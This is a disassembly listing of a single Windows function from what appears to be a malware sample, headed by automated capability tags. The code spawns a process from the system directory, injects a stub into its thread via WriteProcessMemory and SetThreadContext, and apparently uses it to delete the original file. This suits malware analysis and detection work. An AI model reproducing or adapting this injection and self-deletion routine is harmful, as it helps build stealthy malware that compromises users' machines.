Function at 0x40758f
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get common file path
Resume thread
Set current directory

Disassembly:
mov eax, 0x46d5da
call fcn.00453e8c
mov eax, 0x11f0
call fcn.004545d0
push ebx
push esi
push edi
lea eax, [ebp - 0xe]
mov edi, 0x475628
mov esi, 0x475620
push 0
push eax
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x3c], esi
call fcn.00403bf5
and dword [ebp - 4], 0
mov ebx, 0x104
lea eax, [ebp - 0x30]
push ebx
push eax
lea ecx, [ebp - 0x5c]
call fcn.00402dad
mov ecx, dword [eax]
mov byte [ebp - 4], 1
mov byte [eax + 4], 1
call fcn.00403dc2
mov eax, dword [eax]
push ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
and byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.00402ebf
push 0
lea eax, [ebp - 0xac]
push 0
push eax
lea ecx, [ebp - 0x5c]
call fcn.00403fd1
push 0xc
lea eax, [ebp - 0x5c]
sub esp, 0x28
mov byte [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x24], esp
push 1
push eax
call fcn.00407995
call fcn.0043918a
add esp, 0x2c
test al, al
jne 0x407669
cmp byte [ebp + 8], al
je 0x407662
push 0xc
lea eax, [ebp - 0xac]
sub esp, 0x28
mov ecx, esp
mov dword [ebp - 0x24], esp
push 1
push eax
call fcn.00407995
call fcn.0043918a
add esp, 0x2c
test al, al
jne 0x407669
mov bl, 1
jmp 0x4078cf
lea eax, [ebp - 0xd]
push 0
push eax
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x84], edi
mov dword [ebp - 0x64], esi
call fcn.00403bf5
lea eax, [ebp - 0x30]
push ebx
push eax
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 3
call fcn.00402dad
mov ecx, dword [eax]
mov byte [ebp - 4], 4
mov byte [eax + 4], 1
call fcn.00403dc2
mov eax, dword [eax]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 3
call fcn.00402ebf
cmp dword [ebp - 0x78], 0
je 0x4076d5
mov eax, dword [ebp - 0x7c]
test eax, eax
jne 0x4076ce
mov eax, 0x475650
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 6
mov esi, 0x489258
pop ecx
lea edi, [ebp - 0x5c4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x7b
xor eax, eax
pop ecx
lea edi, [ebp - 0x5aa]
rep stosd dword es:[edi], eax
push 0x44
xor esi, esi
pop edx
stosw word es:[edi], ax
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0xec]
mov dword [ebp - 0xf0], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xf0]
push eax
push esi
push esi
push edx
push esi
push esi
lea eax, [ebp - 0x5c4]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x407738
xor bl, bl
jmp 0x4078c0
mov ecx, 0x30c
xor eax, eax
lea edi, [ebp - 0x11f8]
mov dword [ebp - 0x11fc], esi
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x9f4], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x9ec], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x9e8], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x9e4], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x9e0], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x9d8], al
mov eax, dword [ebp - 0x54]
cmp eax, esi
mov dword [ebp - 0x9f0], edi
jne 0x4077a6
mov eax, 0x475650
push ebx
push eax
lea eax, [ebp - 0x9d7]
push eax
call fcn.00454502
add esp, 0xc
cmp byte [ebp + 8], 0
je 0x4077dd
mov eax, dword [ebp - 0xa4]
cmp eax, esi
jne 0x4077cc
mov eax, 0x475650
push ebx
push eax
lea eax, [ebp - 0x7cf]
push eax
call fcn.00454502
add esp, 0xc
push esi
push esi
lea eax, [ebp - 0x9f8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebp - 0x20]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, 0x407994
mov eax, 0x4078fb
sub ecx, eax
cmp ecx, 0x800
ja 0x407731
push ecx
push eax
lea eax, [ebp - 0x11f8]
push eax
call fcn.00454840
add esp, 0xc
lea eax, [ebp - 0x3bc]
mov dword [ebp - 0x3bc], 0x10003
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x2f8]
mov ebx, 0xc35
lea esi, [eax - 0xc35]
and esi, 0xffffffe0
mov dword [ebp - 0x11fc], esi
lea eax, [esi - 4]
mov dword [ebp - 0x2f8], eax
lea eax, [esi + 4]
mov dword [ebp - 0x304], eax
lea eax, [ebp - 0x34]
push eax
push 0x40
push ebx
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
lea eax, [ebp - 0x11fc]
push ebx
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x3bc]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x20]
call edi
mov bl, 1
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 2
call fcn.00402424
and byte [ebp - 4], 0
lea ecx, [ebp - 0xac]
call fcn.00402424
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
call fcn.00402424
mov ecx, dword [ebp - 0xc]
pop edi
mov al, bl
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret